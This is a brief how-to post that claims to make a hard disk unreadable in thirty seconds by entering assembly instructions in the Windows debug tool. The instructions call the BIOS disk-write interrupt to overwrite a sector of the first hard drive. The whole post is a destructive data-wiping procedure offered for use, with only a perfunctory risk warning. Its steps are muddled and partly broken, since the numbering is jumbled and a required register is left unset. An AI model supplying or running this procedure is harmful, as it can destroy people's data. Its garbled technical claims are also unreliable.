make the Hard Disk unreadable in 30 sec

Warning do this at your own risk..

1. Click Start.
2. In the Search field, type CMD and press Enter.
3. In the Command Prompt type the following codes:

1. Type debug.
2. Type: A and hit Enter.
3. Now type the following codes (do not forget to hit Enter at the end of each code):
4. MOV AX, 0301
5. MOV BX, 0020
6. MOV DX, 0080
7. INT13
8. Hit Enter once again.
9. Type G and hit Enter.
10. Done!